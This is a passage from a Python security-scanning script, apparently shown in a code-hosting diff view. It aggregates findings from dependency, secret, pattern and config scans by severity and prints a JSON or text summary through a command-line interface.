||||
for key, (name, scanner) in scanners.items():
|
||||
if scan_type == "all" or scan_type == key:
|
||||
result = scanner(project_path)
|
||||
report["scans"][name] = result
|
||||
|
||||
findings_count = len(result.get("findings", []))
|
||||
report["summary"]["total_findings"] += findings_count
|
||||
|
||||
for finding in result.get("findings", []):
|
||||
sev = finding.get("severity", "low")
|
||||
if sev == "critical":
|
||||
report["summary"]["critical"] += 1
|
||||
elif sev == "high":
|
||||
report["summary"]["high"] += 1
|
||||
|
||||
# Determine overall status
|
||||
if report["summary"]["critical"] > 0:
|
||||
report["summary"]["overall_status"] = "[!!] CRITICAL ISSUES FOUND"
|
||||
elif report["summary"]["high"] > 0:
|
||||
report["summary"]["overall_status"] = "[!] HIGH RISK ISSUES"
|
||||
elif report["summary"]["total_findings"] > 0:
|
||||
report["summary"]["overall_status"] = "[?] REVIEW RECOMMENDED"
|
||||
|
||||
return report
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Validate security principles from vulnerability-scanner skill"
|
||||
)
|
||||
parser.add_argument("project_path", nargs="?", default=".", help="Project directory to scan")
|
||||
parser.add_argument("--scan-type", choices=["all", "deps", "secrets", "patterns", "config"],
|
||||
default="all", help="Type of scan to run")
|
||||
parser.add_argument("--output", choices=["json", "summary"], default="json",
|
||||
help="Output format")
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
if not os.path.isdir(args.project_path):
|
||||
print(json.dumps({"error": f"Directory not found: {args.project_path}"}))
|
||||
sys.exit(1)
|
||||
|
||||
result = run_full_scan(args.project_path, args.scan_type)
|
||||
|
||||
if args.output == "summary":
|
||||
print(f"\n{'='*60}")
|
||||
print(f"Security Scan: {result['project']}")
|
||||
print(f"{'='*60}")
|
||||
print(f"Status: {result['summary']['overall_status']}")
|
||||
print(f"Total Findings: {result['summary']['total_findings']}")
|
||||
print(f" Critical: {result['summary']['critical']}")
|
||||
print(f" High: {result['summary']['high']}")
|
||||
print(f"{'='*60}\n")
|
||||
|
||||
for scan_name, scan_result in result['scans'].items():
|
||||
print(f"\n{scan_name.upper()}: {scan_result['status']}")
|
||||
for finding in scan_result.get('findings', [])[:5]:
|
||||
print(f" - {finding}")
|
||||
else:
|
||||
print(json.dumps(result, indent=2))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user